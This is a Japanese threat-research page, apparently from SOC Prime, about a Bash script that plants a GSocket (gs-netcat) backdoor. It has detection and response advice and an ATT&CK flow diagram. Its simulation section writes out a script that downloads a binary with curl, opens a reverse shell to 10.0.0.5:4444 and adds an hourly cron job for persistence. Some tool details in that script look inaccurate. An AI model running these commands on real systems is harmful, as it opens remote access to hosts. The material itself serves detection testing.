SOC Prime Bias:

24 3月 2026 14:37

Bashスクリプトを通じて配布されたGSocketバックドア

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
Bashスクリプトを通じて配布されたGSocketバックドア
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

武器化されたBashスクリプトがGSocketクライアント(gs-netcat)をダウンロードして起動し、LinuxとmacOSホストにバックドアを確立します。それは、cronジョブと .profileへの変更を通じて永続性を維持し、偽のSSHキー ファイル内に共有秘密を保存します。フォレンジックの可視性を減少させるために、スクリプトはタイムスタンプを変更し、ファイル改ざんの証拠を隠すアンチフォレンジック手法を使用します。結果として生じるバックドアは、GSocketリレーネットワーク経由でリモートIPに対して外部通信を行います。

調査

研究者はサンドボックス内でスクリプトを起動し、 gs-netcat バイナリの取得、cronベースの永続性エントリの作成、ユーザースタートアップファイルの改ざんを確認しました。偽のELFファイルが id_rsa という名前で、 .ssh ディレクトリにドロップされ、共有秘密がSSHキーのように見える形で埋め込まれています。タイムスタンプリセット ルーティンも確認され、フォレンジックタイムラインをぼかすための意図的な努力が示されています。スクリプトは、最初にホストOSを検出して、複数のUnix系システムに対応しています。

緩和策

防御者は、既知のGSocketリレードメインおよびIPアドレスへの外向きトラフィックをブロックし、許可されていないcronエントリや .profile and .ssh パスの疑わしい変更を監視すべきです。ホストベースの検出ロジックは、 gs-netcat というファイル名の使用やタイムスタンプを操作するために一般的に使用されるコマンドをフラグで警告しなければなりません。少なくとも特権制御とスタートアップファイルの整合性監視により、バックドアが目立たずに持続する能力をさらに制限できます。

対応策

これらのインジケータが現れた場合、ホストを隔離して悪意のあるスクリプトとドロップされたバイナリを取得し、完全なフォレンジックレビューを開始して下さい。cron永続性メカニズムとすべての悪意のあるアーティファクトを削除し、影響を受けたSSHキーを更新し、共有秘密を無効にします。環境全体でインジケータに一致するものを探し、類似の活動をキャッチするために検出コンテンツを更新してください。

"graph TB %% Class definitions classDef technique fill:#c2e0ff classDef tool fill:#ffd9b3 classDef operator fill:#ffcc99 %% Technique nodes tech_initial_user_execution["<b>Technique</b> – <b>T1204.004 User Execution</b>: Malicious Bash script executed by a user."] class tech_initial_user_execution technique tech_persistence_cron["<b>Technique</b> – <b>T1053.003 Scheduled Task Job Cron</b>: Hourly cron job kills and restarts a disguised gsu2011netcat binary."] class tech_persistence_cron technique tech_boot_init["<b>Technique</b> – <b>T1037 Boot Logon Initialization Scripts</b>: Injection of malicious commands into the useru2019s .profile for persistence."] class tech_boot_init technique tech_compromise_binary["<b>Technique</b> – <b>T1554 Compromise Host Software Binary</b>: gsu2011netcat copied to ~/.ssh/putty and masqueraded as id_rsa."] class tech_compromise_binary technique tech_private_keys["<b>Technique</b> – <b>T1552.004 Unsecured Credentials Private Keys</b>: Shared secret stored inside a fake SSH private key."] class tech_private_keys technique tech_timestomp["<b>Technique</b> – <b>T1070.006 Timestomp</b>: Custom timestamp tracking and restoration to hide file modifications."] class tech_timestomp technique tech_time_evasion["<b>Technique</b> – <b>T1497.003 Virtualization Sandbox Evasion Time Based</b>: Timestamp manipulation to evade analysis environments."] class tech_time_evasion technique tech_protocol_tunneling["<b>Technique</b> – <b>T1572 Protocol Tunneling</b>: Network traffic tunneled through a GSocket relay network."] class tech_protocol_tunneling technique tech_proxy_multi["<b>Technique</b> – <b>T1090 Multiu2011hop Proxy</b>: Traffic forwarded through the GSocket CDN for internal and external proxying."] class tech_proxy_multi technique tech_ssh_lateral["<b>Technique</b> – <b>T1021.004 Remote Services SSH</b> / <b>T1563.001 SSH Hijacking</b>: gsu2011netcat executed as a disguised SSH key for lateral movement."] class tech_ssh_lateral technique %% Tool nodes tool_gsnetcat["<b>Tool</b> – <b>Name</b>: gsu2011netcat<br/><b>Description</b>: Netcat variant used for covert command and control."] class tool_gsnetcat tool tool_gsocket["<b>Tool</b> – <b>Name</b>: GSocket CDN<br/><b>Description</b>: Relay network providing tunneling and proxy services."] class tool_gsocket tool %% Attack flow connections tech_initial_user_execution –>|enables| tech_persistence_cron tech_persistence_cron –>|enables| tech_boot_init tech_boot_init –>|enables| tech_compromise_binary tech_compromise_binary –>|uses| tool_gsnetcat tech_compromise_binary –>|enables| tech_private_keys tech_private_keys –>|supports| tech_timestomp tech_timestomp –>|supports| tech_time_evasion tech_time_evasion –>|enables| tech_protocol_tunneling tech_protocol_tunneling –>|uses| tool_gsocket tool_gsocket –>|facilitates| tech_proxy_multi tech_proxy_multi –>|enables| tech_ssh_lateral tech_ssh_lateral –>|uses| tool_gsnetcat "

攻撃の流れ

シミュレーション実行

前提条件:テレメトリとベースラインのプレフライトチェックが合格している必要があります。

  • 攻撃の流れとコマンド:
    制限された権限を持つ攻撃者が gs‑netcat バイナリを公開リポジトリから取得し、それを /usr/local/binに配置し、ポート4444で逆シェルを開くために起動します。アクセスの維持のために、攻撃者はバックドアを毎時再起動するcronジョブを作成します。これらのステップは、ターゲットホスト上の侵害されたシェルから実行されます。

  • 回帰テストスクリプト:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # 1. Download gs-netcat (simulated with a small placeholder binary)
    echo "[*] Downloading gs-netcat placeholder ..."
    curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64
    chmod +x /usr/local/bin/gs-netcat
    
    # 2. Start gs-netcat in the background (reverse shell to attacker IP 10.0.0.5)
    echo "[*] Starting gs-netcat reverse shell ..."
    /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash &
    GSN_PID=$!
    
    # 3. Verify process is running
    sleep 2
    ps -p "$GSN_PID" -o pid,cmd
    
    # 4. Create a cron job that restarts gs-netcat at the start of every hour
    echo "[*] Adding persistence via cron ..."
    (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab -
    
    echo "[+] Simulation complete. Await detection."
  • クリーンアップコマンド:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # Remove the cron entry added above
    echo "[*] Removing malicious cron job ..."
    crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab -
    
    # Kill any running gs-netcat processes
    echo "[*] Killing gs-netcat processes ..."
    pkill -f "/usr/local/bin/gs-netcat" || true
    
    # Delete the binary
    echo "[*] Deleting gs-netcat binary ..."
    rm -f /usr/local/bin/gs-netcat
    
    echo "[+] Cleanup finished."